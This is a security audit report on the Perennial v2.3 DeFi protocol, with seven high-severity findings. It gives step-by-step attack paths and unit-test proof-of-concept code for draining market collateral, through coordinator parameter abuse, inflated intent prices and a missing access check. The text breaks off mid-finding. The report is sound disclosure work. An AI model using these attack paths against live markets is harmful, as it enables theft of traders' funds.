SHERLOCK SECURITY REVIEW FOR

Contest type:	Public
Prepared for:	Perennial
Prepared by:	Sherlock
Lead Security Expert:	panprog
Dates Audited:	August 26 - September 13, 2024
Prepared on:	October 16, 2024

Introduction

Perennial is a powerful DeFi primitive built from first-principles to scale to the needs of traders, liquidity providers, and developers. This update introduces on the next major iteration of Perennial with intent support.

Scope

Repository: equilibria-xyz/emptyset-mono

Branch: britz-interest-bearing-reserve

Audited Commit: 90b1b5e9422f7a06afadeb7d2d7bc00ca1cfd459

Final Commit: 45585a4540b40736993c8206259d66357afd1edf

Repository: equilibria-xyz/perennial-v2

Branch: v2.3

Audited Commit: 08bfd603f0bd003825e8e9b517e40e44d289d9cd

Final Commit: 0660bd98ed92ebbf11617a129f8634da7300f0d8

Repository: equilibria-xyz/root

Branch: v2.3

Audited Commit: b323676390b56cd1519a7332dbcdab85040b475f

Final Commit: ce9308e294148801a2ce80ae3522aa0e962cafa6

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
14	7

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

panprog
Oblivionis
bin2chen
eeyore
Nyx
volodya
oot2k
silver_eth
neko_nyaa
Tendency
Albort

Issue H-1: Market coordinator can steal all market collateral by changing adiabatic fees

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/27

The protocol has acknowledged this issue.

Found by

panprog **Summary** The README states the following:

> Q: Please list any known issues and explicitly state the acceptable risks for each known issue. Coordinators are given broad control over the parameters of the markets they coordinate. The protocol parameter is designed to prevent situations where parameters are set to malicious steal funds. If the coordinator can operate within the bounds of reasonable protocol parameters to negatively affect markets we would like to know about it

Even when protocol parameters are reasonable, market coordinator can steal all market funds by utilizing the adiabatic fees change. The adiabatic fees are fees taken from takers when they increase skew (difference between open longs and shorts) and paid to takers when they decrease skew to incentivize orders which reduce price risk for makers. The issue is that market coordinator can set adiabatic fees to 0, open large maker/taker positions (taker position paying 0 adiabatic fees), then immediately set adiabatic fees to max possible (e.g. 1%) and close taker/maker positions (receiving the adiabatic fee). This fees difference when adiabatic fees are changed by market coordinator is subtracted from market's global `exposure`, which is supposed to be paid/received by the owner. I.e. when adiabatic fees are increased, this increases exposure to be paid by the owner with coordinator being able to withdraw this amount to himself (up to total market's collateral available), meaning coordinator can steal all market funds.

Root Cause The root cause is the protocol design of adiabatic fees, it's hard to pinpoint any specific code which is the root cause.

When market risk parameters are updated, `Global.update` is called with new risk parameters, which changes the global `exposure`: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/Global.sol#L54-L56

This global `exposure` has to be covered or received by owner by calling `claimExposure`: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L329-L339

Since market coordinator can change adiabatic fees, this allows market coordinator to control the owner's exposure, which is essentially what lets coordinator to take advantage of this and steal funds.

Internal pre-conditions Coordinator is malicious OR User front-runs adiabatic fees increase transaction

External pre-conditions None.

Attack Path

1. Coordinator sets adiabatic fees and all the other fees to 0, also increases makerLimit to large amount to cause larger impact
2. Coordinator opens large maker position and large taker position (paying 0 fees)
3. Wait for 1 oracle version to settle maker and taker positions
4. Coordinator sets adiabatic fees to max allowed value (e.g. 1%)
5. Coordinator closes taker position, settles it, closes maker position, settles it
6. At this point maker should have about the same amount of collateral as deposited, and taker should have deposited collateral + adiabatic fees paid to taker for closing the position. Both maker and taker accounts withdraw all collateral. Most likely total collateral will be higher than the market has, so simply withdraw all collateral market has

At this point all funds are stolen by coordinator (and if not - simply repeat from step 1 until all funds are stolen). The other users will have positive collateral balances, but they will be unable to withdraw anything since market token balance will be 0 (market owner will have large negative exposure).

Alternative attack scenario:

1. Coordinator wants to increase adiabatic fees
2. User listens to coordinator transaction and front-runs it by creating huge taker position (possibly 2 taker positions - long+short to be delta-neutral, also maybe maker position if necessary, to be able to open large taker positions). This doesn't need to be classic front-run, maybe the coordinator will announce risk parameter changes in the forum or somewhere, and user opens these positions in anticipation of adiabatic fees increase
3. Coordinator transaction to increase adiabatic fees goes through
4. User closes his positions, receiving large profit from adiabatic fees only (which should more than cover all the other fees, and market price risk can be neutralized by opening delta-neutral positions), at the expense of the owner's exposure

Impact All market collateral token balance is stolen.

PoC

```
it('Coordinator steals all funds', async () => {

    // collateral to pay fee only
    const A_COLLATERAL = parse6decimal('10000000')
    const C_COLLATERAL = parse6decimal('1000000')
    const A_POSITION = parse6decimal('100000')

    dsu.transferFrom.whenCalledWith(user.address, market.address,
↪   A_COLLATERAL.mul(1e12)).returns(true)
    dsu.transferFrom.whenCalledWith(userB.address, market.address,
↪   A_COLLATERAL.mul(1e12)).returns(true)
    dsu.transferFrom.whenCalledWith(userC.address, market.address,
↪   C_COLLATERAL.mul(1e12)).returns(true)

    // honest userC simply deposits $1M collateral, not even opening position
    await market
        .connect(userC)
        ['update(address,uint256,uint256,uint256,int256,bool)'](userC.address,
↪   0, 0, 0, C_COLLATERAL, false)

    const maliciousRiskParameter = {
        ...riskParameter,
        makerLimit: parse6decimal('100000'),
        takerFee: {
        ...riskParameter.takerFee,
        adiabaticFee: parse6decimal('0.00'), // this is paid by taker when taker
↪   opens, so make it 0
        scale: parse6decimal('5000.000'),
        },
        makerFee: {
        ...riskParameter.makerFee,
        scale: parse6decimal('5000.000'),
        },
        // set utilization curve to 0 to better showcase the adiabaticFee impact
        utilizationCurve: {
        ...riskParameter.utilizationCurve,
        minRate: parse6decimal('0.0'),
        maxRate: parse6decimal('0.0'),
        targetRate: parse6decimal('0.0'),
        targetUtilization: parse6decimal('0.50'),
        },
    }
    await market.connect(coordinator).updateRiskParameter(maliciousRiskParameter)
```

```
// coordinator uses 2 accounts to open maker and taker positions with
↪ adiabatic fees = 0 (taker doesn't pay any fees)
await market
    .connect(user)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address,
↪ A_POSITION, 0, 0, A_COLLATERAL, false)

await market
    .connect(userB)
    ['update(address,uint256,uint256,uint256,int256,bool)'](userB.address,
↪ 0, A_POSITION, 0, A_COLLATERAL, false)

oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION⌋
↪ _2, INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])
oracle.request.whenCalledWith(user.address).returns()

await settle(market, userB)

var loc = await market.locals(userB.address);
console.log("UserB collateral with open taker: " + loc.collateral);

// now set adiabatic fees to max allowed (1%) to receive them back when
↪ closing taker
const maliciousRiskParameter2 = {
    ...maliciousRiskParameter,
    takerFee: {
    ...maliciousRiskParameter.takerFee,
    adiabaticFee: parse6decimal('0.01'), // set max fee since this will be
↪ paid to taker on close
    },
}
await
↪ market.connect(coordinator).updateRiskParameter(maliciousRiskParameter2)

// close maker and taker which should pay adiabatic fees to taker
await market
    .connect(userB)
    ['update(address,uint256,uint256,uint256,int256,bool)'](userB.address,
↪ 0, 0, 0, 0, false)

oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([ORACLE_VERSION⌋
↪ _3, INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])
oracle.request.whenCalledWith(user.address).returns()
```

```
    await market
        .connect(user)
        ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0,
↪   0, 0, 0, false)

    oracle.at.whenCalledWith(ORACLE_VERSION_4.timestamp).returns([ORACLE_VERSION ⌋
↪   _4, INITIALIZED_ORACLE_RECEIPT])
    oracle.status.returns([ORACLE_VERSION_4, ORACLE_VERSION_5.timestamp])
    oracle.request.whenCalledWith(user.address).returns()

    await settle(market, user)
    await settle(market, userB)
    await settle(market, userC)

    var loc = await market.locals(user.address);
    console.log("User collateral after closing: " + loc.collateral);
    var loc = await market.locals(userB.address);
    console.log("UserB collateral after closing: " + loc.collateral);
    var loc = await market.locals(userC.address);
    console.log("UserC collateral after closing: " + loc.collateral);

    var glob = await market.global();
    console.log("Exposure to be paid by owner: " + glob.exposure);
})
```

Console output:

```
UserB collateral with open taker: 10000000000000
User collateral after closing: 10000060000000
UserB collateral after closing: 11229933600000
UserC collateral after closing: 1000000000000
Exposure to be paid by owner: -1230000000000
```

Notice, that all 3 users deposited a total of 21M, but after the attack collateral of coordinator's users (user and userB) is 21.2M and userC collateral is still 1M, but the total of all 3 users is 22.2M, 1.2M is the exposure which should be covered by the owner.

Mitigation This is the design issue, so mitigation only depends on the intended design. Possible options:

1. Remove adiabatic fees altogether
2. Limit the total exposure amount which can be created by the coordinator (not full fix, but at least limits the loss)
3. Force coordinator to pay exposure instead of owner (this is just partial fix

though, and if exposure which can be received is also due to coordinator, this opens reverse attack vector of draining funds from existing users by decreasing adiabatic fees)

Issue H-2: Market coordinator can liquidate all users in the market

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/29

Found by

panprog **Summary** The README states the following:

> Q: Please list any known issues and explicitly state the acceptable risks for each known issue. Coordinators are given broad control over the parameters of the markets they coordinate. The protocol parameter is designed to prevent situations where parameters are set to malicious steal funds. If the coordinator can operate within the bounds of reasonable protocol parameters to negatively affect markets we would like to know about it

Market coordinator can change margin and maintenance ratios and min USD amounts, and these do not have any upside limitation. This means that malicious coordinator can set these values to extremely high amounts (like 1000%), which will make all users positions unhealthy, allowing malicious coordinator to liquidate all users, negatively affecting all market users.

Since the coordinator also controls the fees, the full attack can consist of setting high margin and maintenance amounts, max fees, then liqudating all makers, opening small maker position and liquidating all takers, receiving max fee percentage off all users notional.

Root Cause It's probably not possible to avoid some users becoming liquidatable when the margin ratio is increased, even by well-intended coordinator. Still, there are neither timelock to let users know of the changes in advance, nor any sanity upside limit for the margin, the only limit is downside (so that it can't be set to 0): https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L147-L157

Internal pre-conditions Malicious market coordinator.

External pre-conditions None.

Attack Path

1. Coordinator sets max margin and maintenance ratios, max allowed liquidation fee and all the other fees
2. Coordinator liquidates all makers
3. Coordinator opens small maker position

4. Coordinator liquidates all takers, which earns small liquidation fees + all position closure fees (which are percentage-based, e.g. 1%) are accumulated to coordinator's maker, which is the only maker in the market
5. Coordinator closes maker position and withdraws all collateral

Impact At least 1% or more is stolen from all market users, along with all market positions being liquidated.

PoC Not needed.

Mitigation

1. Force coordinator time lock, so that all users know well in advance of incoming market parameters changes
2. Optionally add some sanity upside limit to margin, maintenance, minMargin and minMaintenance (set via protocolParameters).

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/464

Issue H-3: Market coordinator can steal all market collateral by abusing very low value of `scale`

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/40

The protocol has acknowledged this issue.

Found by

panprog **Summary** The README states the following:

> Q: Please list any known issues and explicitly state the acceptable risks for each known issue. Coordinators are given broad control over the parameters of the markets they coordinate. The protocol parameter is designed to prevent situations where parameters are set to malicious steal funds. If the coordinator can operate within the bounds of reasonable protocol parameters to negatively affect markets we would like to know about it

Market coordinator can set both `makerLimit` and `scale` for `takerFee` at very low amount (like 1), which will charge absurdly high taker proportional fee to existing positions, because proportional fee formula is `change.abs().mul(price).muldiv(change.abs(), scale).mul(fee)`, i.e. the fee is `(order_size)^2 * price * fee` when scale is 1. The same issue is with maker proportional fee and taker adiabatic fee - all of them multiply by order size divided by `scale`.

The only limitation for `scale` setting is that it must be larger than some percentage of `makerLimit` and there is no limitation on `makerLimit`:

```
UFixed6 scaleLimit =
↪   self.makerLimit.div(self.efficiencyLimit).mul(protocolParameter.minScale);
if (self.takerFee.scale.lt(scaleLimit) || self.makerFee.scale.lt(scaleLimit))
    revert RiskParameterStorageInvalidError();
```

This allows to set any `scale` amount, the `makerLimit` just has to be set to a similar amount, or alternatively `efficiencyLimit` can be set to a huge amount (there is only downside limitation for it), which will make `scaleLimit` very low, allowing very low `scale` values.

Market coordinator can abuse this by opening large maker position (settling it), opening large taker position (unsettled), changing risk parameter `makerLimit` and `scale` to 1, then at the next oracle version the large taker position will be settled using `scale = 1`, charging fees much higher than 100%, putting taker position into huge bad debt, while all makers will have huge profit (larger than market collateral), which coordinator can immediately withdraw from his maker position, stealing all market collateral.

Root Cause The exact root cause is hard to determine here. It might be the lack of risk parameter settings validations: the only `scale` check is against `scaleLimit` calculated from `makerLimit`, but there is no conditions on `makerLimit` itself: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L159-L161

On the other hand, it's probably hard to set correct protocol-wide limitation for this, so maybe the issue is with the design of the proportional and adiabatic fees, where the `order_size / scale` multiplication is quite dangerous as it is unlimited.

Internal pre-conditions Coordinator is malicious.

External pre-conditions None.

Attack Path

1. Coordinator opens large maker position, settles it
2. Coordinator opens large taker position (but doesn't settle it yet)
3. Coordinator sets risk parameter: `makerLimit = 1`, `takerFee.scale = 1` and `takerFee.propotionalFee` set to max.
4. Coordinator commits oracle version of the taker position, settles maker+taker positions: taker is in huge bad debt, maker is in huge profit (larger than all market collateral)
5. Coordinator withdraws all market collateral

Note: step 1 and 2 are preparation, steps 3-5 can be performed in 1 transaction

Alternatives:

- Setting `takeFee.scale = 1` and `efficiencyLimit` to a very high value.
- All taker trades after the `scale = 1` is set will incur huge fee, so it's possible to have settled taker position before the risk params change, and then close it by liquidation, incuring huge fees. Coordinator doesn't even have to open his own taker position, he can simply liquidate any large existing taker.
- Use adiabatic fees scale instead of taker proportional fees
- Use maker propotional fees (and use only maker accounts)

Impact All market collateral stolen.

Additional impact: if the market is part of any vault, almost all this vault funds can be stolen. This can be done by forcing the vault to re-balance (depositing or withdrawing some amount), which will charge huge fees, making vault's collateral in the market negative. Next re-balance will add more collateral into the market, which can be stolen again, repeated until most vault funds are stolen.

PoC

```
it('Coordinator steals all funds by reducing fees scale', async () => {

    // collateral to pay fee only
    const A_COLLATERAL = parse6decimal('100000')
    const C_COLLATERAL = parse6decimal('10000')
    const A_POSITION = parse6decimal('1000')

    dsu.transferFrom.whenCalledWith(user.address, market.address,
↪   A_COLLATERAL.mul(1e12)).returns(true)
    dsu.transferFrom.whenCalledWith(userB.address, market.address,
↪   A_COLLATERAL.mul(1e12)).returns(true)
    dsu.transferFrom.whenCalledWith(userC.address, market.address,
↪   C_COLLATERAL.mul(1e12)).returns(true)

    // honest userC simply deposits $1M collateral, not even opening position
    await market
        .connect(userC)
        ['update(address,uint256,uint256,uint256,int256,bool)'](userC.address,
↪   0, 0, 0, C_COLLATERAL, false)

    // coordinator is the only maker in the market for simplicity
    await market
        .connect(user)
        ['update(address,uint256,uint256,uint256,int256,bool)'](user.address,
↪   A_POSITION, 0, 0, A_COLLATERAL, false)

    // wait for the next oracle version to settle maker
    oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION ⌋
↪   _2, INITIALIZED_ORACLE_RECEIPT])
    oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])
    oracle.request.whenCalledWith(user.address).returns()

    await market.settle(user.address)

    // coordinator uses another accounts to open large taker positions
↪   (unsettled)
    await market
        .connect(userB)
        ['update(address,uint256,uint256,uint256,int256,bool)'](userB.address,
↪   0, A_POSITION, 0, A_COLLATERAL, false)

    var loc = await market.locals(user.address);
```

```
console.log("User collateral (maker)  : " + loc.collateral);
var loc = await market.locals(userB.address);
console.log("UserB collateral (taker) : " + loc.collateral);
var loc = await market.locals(userC.address);
console.log("UserC collateral (honest): " + loc.collateral);

const maliciousRiskParameter = {
    ...riskParameter,
    makerLimit: 1000000, // minimal maker limit
    takerFee: {
    ...riskParameter.takerFee,
    proportionalFee: parse6decimal('0.01'), // set max fee since this will
↪ be paid to taker on close
    scale: 1000000, // minimal scale
    },
    // set utilization curve to 0 to better showcase the scale impact
    utilizationCurve: {
    ...riskParameter.utilizationCurve,
    minRate: parse6decimal('0.0'),
    maxRate: parse6decimal('0.0'),
    targetRate: parse6decimal('0.0'),
    targetUtilization: parse6decimal('0.50'),
    },
}

// coordinator sets very low maker limit and very low scale (1), his taker
↪ position is still pending
await market.connect(coordinator).updateRiskParameter(maliciousRiskParameter)

oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([ORACLE_VERSION
↪ _3, INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])
oracle.request.whenCalledWith(user.address).returns()

// user position is settled with a large amount (much higher than maker) but
↪ new risk parameters (very low scale)
await settle(market, user)
await settle(market, userB)

console.log("After attack");
var loc = await market.locals(user.address);
console.log("User collateral (maker)  : " + loc.collateral);
var loc = await market.locals(userB.address);
console.log("UserB collateral (taker) : " + loc.collateral);
var loc = await market.locals(userC.address);
console.log("UserC collateral (honest): " + loc.collateral);
```

```
})
```

Console output from execution:

```
User collateral (maker)  : 100000000000
UserB collateral (taker) : 100000000000
UserC collateral (honest): 10000000000
After attack
User collateral (maker)  : 1330000000000
UserB collateral (taker) : -1130000000000
UserC collateral (honest): 10000000000
```

Notice: honest user deposits 10K, coordinator deposits 100K+100K, after attack coordinator has collateral of 1.33M (much more than total collateral of 210K), which he can withdraw.

Mitigation Depends on protocol design choice. Possibilities I see:

- Make `scale` validation more strict: possibly use `max(makerLimit, currentGlobalPosition.long,short,maker )` instead of `makerLimit` in `scaleLimit` calculation, so that `scale` should obey not just `makerLimit` percentage, but also max from currently opened positions. Additionally validate `efficiencyLimit` max value (limit to 1?)
- Change proportional and adiabatic fee formulas for something more percentage-based so that there is a strict max fee limit
- Add hard percentage cap on proportional and adiabatic fees (currently proportional fee = 1% doesn't mean that it's max 1% - it's actually unlimited, 1% is some arbitrary number not telling anything about real percentage charged, so it makes sense to still have a cap for it)

Issue H-4: Maliciously specifying a very large intent.price will result in a large gain at settlement, stealing funds

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/42

Found by

bin2chen, panprog

Summary

When Market.sol generates an order, if you specify a very large intent.price, you don't need additional collateral to guarantee it, and the order is submitted normally. But the settlement will generate a large revenue pnl, the user can maliciously construct a very large intent.price, steal revenue

Root Cause

in CheckpointLib.sol#L79

when the order is settled override pnl is calculated pnl = (toVersion.price - Intent.price) * taker()

This value is counted towards the collateral `local.collateral`

However, when adding a new order, there is no limit on `Intent.price`, and the user only needs small collateral that is larger than what is required by `taker() * lastVersion.price`

In this way, a malicious user can specify a very large `Intent.price`, and both parties need only a small amount of collateral to generate a successful order

But at settlement, the profitable party gets the enlarged pnl and converts it to collateral, which the user can then steal.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Example lastVerson.price = 123 Intent.price = 1250000000000 (Far more than the normal price) Intent.postion = 5

1. Alice deposit collateral = 10000 (As long as it is greater than `Intent.postion * lastVerson.price`)
2. Alice_fake_user deposit collateral = 10000 (As long as it is greater than `Intent.postion * lastVerson.price`)
3. alice execute update(account= alice, Intent = {account=Alice_fake_user , postion = 5 , price = 1250000000000)
   - This order can be submitted successfully because the collateral is only related to Intent.postion and lastVerson.price
4. lastVerson.price still = 123
5. settle(alice) , pnl (Intent.price - lastVerson.price) * Intent.postion = (1250000000000 - 123) * 5

Note:Alice_fake_user will be a huge loss, but that's ok, relative to profit, giving up very small collateral `10,000`.

Impact

Maliciously specifying a very large intent.price will result in a large gain at settlement, stealing funds

PoC

The following example demonstrates that specifying a very large `intent.price` with a very small collateral generating a very large return to collateral

add to `/perennial-v2/packages/perennial/test/unit/market/Market.test.ts`

```
it('test_intent_price', async () => {
  factory.parameter.returns({
    maxPendingIds: 5,
    protocolFee: parse6decimal('0.50'),
    maxFee: parse6decimal('0.01'),
    maxFeeAbsolute: parse6decimal('1000'),
    maxCut: parse6decimal('0.50'),
    maxRate: parse6decimal('10.00'),
    minMaintenance: parse6decimal('0.01'),
    minEfficiency: parse6decimal('0.1'),
    referralFee: parse6decimal('0.20'),
    minScale: parse6decimal('0.001'),
```

```
})

const marketParameter = { ...(await market.parameter()) }
marketParameter.takerFee = parse6decimal('0.01')
await market.updateParameter(marketParameter)

const riskParameter = { ...(await market.riskParameter()) }
await market.updateRiskParameter({
  ...riskParameter,
  takerFee: {
    ...riskParameter.takerFee,
    linearFee: parse6decimal('0.001'),
    proportionalFee: parse6decimal('0.002'),
    adiabaticFee: parse6decimal('0.004'),
  },
})
const test_price = '1250000000000';
const SETTLEMENT_FEE = parse6decimal('0.50')
const intent: IntentStruct = {
  amount: POSITION.div(2),
  price: parse6decimal(test_price),
  fee: parse6decimal('0.5'),
  originator: liquidator.address,
  solver: owner.address,
  collateralization: parse6decimal('0.01'),
  common: {
    account: user.address,
    signer: liquidator.address,
    domain: market.address,
    nonce: 0,
    group: 0,
    expiry: 0,
  },
}

await market
  .connect(userB)
  ['update(address,uint256,uint256,uint256,int256,bool)'](userB.address,
↪ POSITION, 0, 0, COLLATERAL, false)

await market
  .connect(user)
  ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0,
↪ 0, COLLATERAL, false)
await market
  .connect(userC)
```

```
    ['update(address,uint256,uint256,uint256,int256,bool)'](userC.address, 0, 0,
↪   0, COLLATERAL, false)

  verifier.verifyIntent.returns()

  // maker
  factory.authorization
    .whenCalledWith(userC.address, userC.address, constants.AddressZero,
↪   liquidator.address)
    .returns([true, false, parse6decimal('0.20')])
  // taker
  factory.authorization
    .whenCalledWith(user.address, userC.address, liquidator.address,
↪   liquidator.address)
    .returns([false, true, parse6decimal('0.20')])

  console.log("before collateral:"+(await
↪   market.locals(userC.address)).collateral.div(1000000));
  await
    market
      .connect(userC)
      [
        'update(address,(int256,int256,uint256,address,address,uint256,(address,
↪   address,address,uint256,uint256,uint256)),bytes)'
      ](userC.address, intent, DEFAULT_SIGNATURE);

  oracle.at
    .whenCalledWith(ORACLE_VERSION_2.timestamp)
    .returns([ORACLE_VERSION_2, { ...INITIALIZED_ORACLE_RECEIPT, settlementFee:
↪   SETTLEMENT_FEE }])

  oracle.at
    .whenCalledWith(ORACLE_VERSION_3.timestamp)
    .returns([ORACLE_VERSION_3, { ...INITIALIZED_ORACLE_RECEIPT, settlementFee:
↪   SETTLEMENT_FEE }])
  oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])
  oracle.request.whenCalledWith(user.address).returns()

  await settle(market, user)
  await settle(market, userB)
  await settle(market, userC)

  console.log("after collateral:"+(await
↪   market.locals(userC.address)).collateral.div(1000000));
})
```

```
$ yarn test --grep test_intent_price

  Market
    already initialized
      #update
        signer
before collateral:10000
after collateral:6250000009384
           test_intent_price (44878ms)
```

Mitigation

`intent.price - lastVersion.price` needs to be within a reasonable range and the difference must not be too large. And the difference needs to be secured by collateral.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/466

arjun-io

Note: Since the recommended by panprog here: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/14 has two parts (checking collateral delta and limiting intent price deviation) we opted to implement the fixes in two PRs - however Sherlock's dashboard doesn't support two fix PRs for the same repo so linking the other fix as a comment here:
https://github.com/equilibria-xyz/perennial-v2/pull/468

Issue H-5: Lack of access control in the `MarketFactory.updateExtension()` function.

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/52

Found by

Nyx, bin2chen, eeyore, neko_nyaa, oot2k, panprog, silver_eth, volodya

Summary

An attacker can set himself as an `extension`, which is an `allowed protocol-wide operator`. As such, he can act on an account's behalf in all its positions and, for example, withdraw its collateral.

Vulnerability Detail

A new authorization functionality was introduced in Perennial 2.3 update to allow for signers and extensions to act on behalf of the account. Unfortunately, the `updateExtension()` function within the `MarketFactory` is missing the `onlyOwner` access control modifier.

```
File: MarketFactory.sol
@>    function updateExtension(address extension, bool newEnabled) external {
          extensions[extension] = newEnabled;
          emit ExtensionUpdated(extension, newEnabled);
      }
```

This `extensions` mapping is later used in the `authorization()` function to determine if the sender is an account operator:

```
File: MarketFactory.sol
    function authorization(
        address account,
        address sender,
        address signer,
        address orderReferrer
    ) external view returns (bool isOperator, bool isSigner, UFixed6 orderReferralFee) {
        return (
@>          account == sender || extensions[sender] || operators[account][sender],
            account == signer || signers[account][signer],
            referralFees(orderReferrer)
```

```
87:         );
88:     }
```

The `authorization()` function is used within the `Market` contract to authorize the order in the name of the account:

```
File: Market.sol
500:         // load factory metadata
501:         (updateContext.operator, updateContext.signer,
↪   updateContext.orderReferralFee) =
502:@>
↪   IMarketFactory(address(factory())).authorization(context.account,
↪   msg.sender, signer, orderReferrer);
503:         if (guaranteeReferrer != address(0))
↪   updateContext.guaranteeReferralFee = guaranteeReferralFee;
504:     }
```

```
File: InvariantLib.sol
78:         if (
79:             !updateContext.signer &&
↪     // sender is relaying the account's signed intention
80:@>          !updateContext.operator &&
↪     // sender is operator approved for account
81:             !(newOrder.isEmpty() && newOrder.collateral.gte(Fixed6Lib.ZERO))
↪     // sender is depositing zero or more into account, without position change
82:         ) revert IMarket.MarketOperatorNotAllowedError();
```

As can be seen, anyone without authorization can set himself as an extension and act as the operator of any account, leading to the loss of all funds.

Impact

- Loss of funds.
- Missing access control.

Code Snippet

https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/MarketFactory.sol#L100-L103
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/MarketFactory.sol#L77-L88
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L500-L504

https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/libs/InvariantLib.sol#L78-L82

Tool used

Manual Review

Recommendation

Add the `onlyOwner` modifier to the `MarketFactory.updateExtension()` function.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/443

Issue H-6: Market coordinator can set `staleAfter` to a huge value allowing anyone to steal all market collateral when there are no transactions for some time

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/58

Found by

panprog **Summary** The README states the following:

> Q: Please list any known issues and explicitly state the acceptable risks for each known issue. Coordinators are given broad control over the parameters of the markets they coordinate. The protocol parameter is designed to prevent situations where parameters are set to malicious steal funds. If the coordinator can operate within the bounds of reasonable protocol parameters to negatively affect markets we would like to know about it

Market coordinator can set `staleAfter` risk parameter to any value (there is no validation at all). If set to a huge amount, he can steal all market collateral by abusing the price commited long time ago to open huge position which is already in bad debt using current price, when the current price is already very far away from the last commited price.

Root Cause No `staleAfter` validation in `RiskParameter`: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L132-L162

Internal pre-conditions

- Malicious market coordinator

External pre-conditions

- Last commited price differs from current price by more than margin requirement

Attack Path

1. Coordinator opens huge long position + huge short position of the same size from 2 accounts (delta neutral portfolio) ...
2. Situation happens: no transactions for a long time and current price deviates away from last commited price by more than margin amount (such situation is very easily possible when the market is not super active, during quick price moves just a few minutes without transactions are enough for such price move).

3. Coordinator sets very large `staleAfter` value (e.g. `uint24.max`) and minimum `margin` and `maintenance` requirements
4. Coordinator withdraws max collateral from either long or short position (depending on whether current price is more or less than last commited price)
5. Next oracle version is commited (with current price), making the coordinator's position with collateral withdrawn go into bad debt.
6. Coordinator closes the other position, withdrawing all profit from it (collateral withdrawn from bad debt position + collateral withdrawn from closing the other position = initial collateral of both positions + bad debt)
7. The bad debt of the losing position is the profit of 2 combined positions, if positions are large enough, the bad debt will be greater than all market collateral, thus the user steals all of it.

If needed, the attack can be repeated until all market collateral is stolen.

Impact All market collateral stolen. The severity is "High" even with market move pre-condition, because large `staleAfter` amount allows to wait enough time for the price to move away, and even in active live markets there are often large periods of inactivity (lack of market transactions and lack of new price commits since there are no requests).

PoC Not needed.

Mitigation Add sanity check for `staleAfter` risk parameter.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/463

Issue H-7: Perennial account users with rebalance group may suffer a donation attack

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/84

Found by

Oblivionis

Summary

The checks in `checkMarket` only consider proportions and not values, users with 0 collateral in a rebalance group may get attacked to drain all DSU in their perennial accounts.

Root Cause

This vulnerability has two predicate facts:

1. Attacker can donate any value to any account. InvariantLib.sol:78-82

```
if (
    !updateContext.signer &&                                          //
↪   sender is relaying the account's signed intention
    !updateContext.operator &&                                        //
↪   sender is operator approved for account
    !(newOrder.isEmpty() && newOrder.collateral.gte(Fixed6Lib.ZERO))    //
↪   sender is depositing zero or more into account, without position change
) revert IMarket.MarketOperatorNotAllowedError();
```

Users can sign an order if: 1. He is an signer or 2. He is an operator or 3. He is trying to deposit some value to the account without position change.

2. Consider a group with multiple markets, only one market has minimal collateral (1e-6 DSU, the minimum precision of Fixed6) and other markets have no collateral. Such group can be rebalanced infinitely.

Controller.sol:223

```
function _rebalanceGroup(address owner, uint256 group) internal {
    // settles each markets, such that locals are up-to-date
    _settleMarkets(owner, group);

    // determine imbalances
    (, bool canRebalance, Fixed6[] memory imbalances) = checkGroup(owner, group);
```

```
    if (!canRebalance) revert ControllerGroupBalancedError();

    IAccount account = IAccount(getAccountAddress(owner));
    // pull collateral from markets with surplus collateral
